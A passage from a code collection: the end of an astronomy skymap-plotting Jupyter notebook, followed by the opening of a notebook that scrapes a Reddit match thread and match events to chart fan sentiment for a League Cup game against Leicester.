xj57+fbN682dFLcKg1a9Zg+PDhVo+5u7sj\n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\n", "text/plain": [ "<matplotlib.figure.Figure at 0x7f311ed0a590>" ] }, "metadata": {}, "output_type": "display_data" }, { "data": { "text/plain": [ "<function __main__.plotSkymap>" ] }, "execution_count": 4, "metadata": {}, "output_type": "execute_result" } ], "source": [ "interact(plotSkymap, SDSS=True, Isolated=True, Pairs=False, Triplets=False,\n", " Declination=widgets.FloatSlider(min=-20.0, max=90.0, step=2.0, value=decstart),\n", " DecRange=widgets.FloatSlider(min=0.0, max=90.0, step=1.0, value=decrange),\n", " Opacity=widgets.FloatSlider(min=0.0, max=1.0, step=0.1, value=alpha0))" ] }, { "cell_type": "code", "execution_count": null, "metadata": { "collapsed": false }, "outputs": [], "source": [] } ], "metadata": { "anaconda-cloud": {}, "kernelspec": { "display_name": "Python [default]", "language": "python", "name": "python2" }, "language_info": { "codemirror_mode": { "name": "ipython", "version": 2 }, "file_extension": ".py", "mimetype": "text/x-python", "name": "python", "nbconvert_exporter": "python", "pygments_lexer": "ipython2", "version": "2.7.12" }, "widgets": { "state": { "2abbf53aa7c24e41b2e178fe1a96ca5b": { "views": [ { "cell_index": 12 } ] } }, "version": "1.2.0" } }, "nbformat": 4, "nbformat_minor": 0 }

mit

wiheto/sentiment-timelines

notebooks/LeagueCup_01_Leicester.ipynb

1

119972

{ "metadata": { "language": "python", "name": "" }, "nbformat": 3, "nbformat_minor": 0, "worksheets": [ { "cells": [ { "cell_type": "heading", "level": 1, "metadata": { "slideshow": { "slide_type": "slide" } }, "source": [ "Sentiment analysis of match thread" ] }, { "cell_type": "markdown", "metadata": { "slideshow": { "slide_type": "slide" } }, "source": [ "## To run the code\n", "\n", "Firstly, I write for Python 3.x. Python 2 may work but I don't consciously try and correct for any Python 2 differences. Apart from installing the necessary packages (pandas, numpy, matplotlib and so on). One additional thing is needed:\n", "\n", "1. Get a client_id / client_secret set up with PRAW / Reddit. In this code it is assumed that there is a file called: *praw.json* which contains client_id, client_secret, password, user_agent, and username.\n", "\n", "Tweaks will need to be made before the match events are fully automatic.\n", "\n", "Notebooks are run in the main directory of the repository (and just archived in the notebook folder). So paths will have to be modified if you run the notebook in the notebook folder" ] }, { "cell_type": "markdown", "metadata": { "slideshow": { "slide_type": "slide" } }, "source": [ "## Notes for this mathch.\n", "\n", "Premier league games will be automatic in getting match events. But Europe and cup games will probabaly be manually entering events." ] }, { "cell_type": "heading", "level": 3, "metadata": { "slideshow": { "slide_type": "slide" } }, "source": [ "Import packages" ] }, { "cell_type": "code", "collapsed": false, "input": [ "import praw\n", "import datetime\n", "import pandas as pd\n", "import nltk.sentiment.vader\n", "import matplotlib.pyplot as plt\n", "from bs4 import BeautifulSoup\n", "# from selenium import webdriver\n", "import numpy as np\n", "import os\n", "from urllib.request import urlopen, urlretrieve" ], "language": "python", "metadata": { "slideshow": { "slide_type": "slide" } }, "outputs": [], "prompt_number": 1 }, { "cell_type": "markdown", "metadata": { "slideshow": { "slide_type": "slide" } }, "source": [ "### Some parameters\n", "\n", "These need to be changed every match" ] }, { "cell_type": "code", "collapsed": false, "input": [ "#url = 'https://www.premierleague.com/match/22386'\n", "thread_id = '7151xh'\n", "opposition = 'Leicester'\n", "competition = 'LeagueCup'\n", "hometeam = 'Leicester'\n", "\n", "#analysis_name = 'League_1_' + opposition\n", "analysis_name = competition + '_01_' + opposition\n", "\n", "# Hopefully this can be fixed somehow without having to specify it\n", "kickoff = datetime.time(19,45)\n", "firsthalfend = datetime.time(20,33)\n", "secondhalfbegin = datetime.time(20,48)\n", "secondhalfend = datetime.time(21,39)" ], "language": "python", "metadata": { "slideshow": { "slide_type": "slide" } }, "outputs": [], "prompt_number": 2 }, { "cell_type": "markdown", "metadata": { "slideshow": { "slide_type": "slide" } }, "source": [ "### More parameters\n", "\n", "These parameters and definitions that don't need to change each game" ] }, { "cell_type": "code", "collapsed": false, "input": [ "# Define some objects to be used later\n", "# set up driver for scraping\n", "# driver = webdriver.PhantomJS()\n", "# Define NLTK object\n", "vader = nltk.sentiment.vader.SentimentIntensityAnalyzer()\n", "# set matplotlib style\n", "plt.style.use('ggplot')\n", "# Change this to 0 if you have downloaded the data and want to redownload\n", "use_saved_data = 1" ], "language": "python", "metadata": { "slideshow": { "slide_type": "slide" } }, "outputs": [], "prompt_number": 3 }, { "cell_type": "markdown", "metadata": { "slideshow": { "slide_type": "slide" } }, "source": [ "### Function definitions\n", "\n", "Funcitons that do most of the work" ] }, { "cell_type": "heading", "level": 3, "metadata": { "slideshow": { "slide_type": "slide" } }, "source": [ "Functions for match events" ] }, { "cell_type": "code", "collapsed": false, "input": [ "def get_match_report(url,kickoff,secondhalfbegin):\n", " \"\"\"\n", " Function gets all times and titles of telegraph match report\n", "\n", " \"\"\"\n", " #Open page and make a soup object\n", " #driver.get(url)\n", " #r = driver.page_source\n", " r = urlopen(url).read()\n", " soup = BeautifulSoup(r, 'lxml')\n", " # This gets the titles and timeing of match events\n", " home_events_html = soup.findAll('div', class_='event home')\n", " away_events_html = soup.findAll('div', class_='event away')\n", " home_events = parse_match_events_html(home_events_html,kickoff,secondhalfbegin)\n", " away_events = parse_match_events_html(away_events_html,kickoff,secondhalfbegin)\n", " return home_events,away_events\n", "\n", "def parse_match_events_html(events_html,kickoff,secondhalfbegin):\n", " event_list = []\n", " for e in events_html:\n", " time = e.find('time').text\n", " evtype = e.find('time').nextSibling.lower()\n", " evtype = evtype.replace(' ','')\n", " evtype = evtype.replace('\\n','')\n", " time = time.replace(' ','')\n", " time = time.replace(\"'\",'')\n", " # Adds time together (e.g. 90+2) if it exists\n", " time_split = time.split('+')\n", " time = np.sum(list(map(int,time_split)))\n", "\n", " if (len(time_split)>1 and time < 90) or time < 45:\n", " time_real = add_times(kickoff,time)\n", " else:\n", " time_real = add_times(secondhalfbegin,time-45)\n", "\n", " event_list.append([time_real,evtype])\n", " return event_list\n", "\n", "\n", "def parse_match_events(liverpool_events,opposition_events):\n", "\n", " match_events = {}\n", " # Preallocate\n", " match_events['liverpool_goal'] = []\n", " match_events['opponenet_goal'] = []\n", " 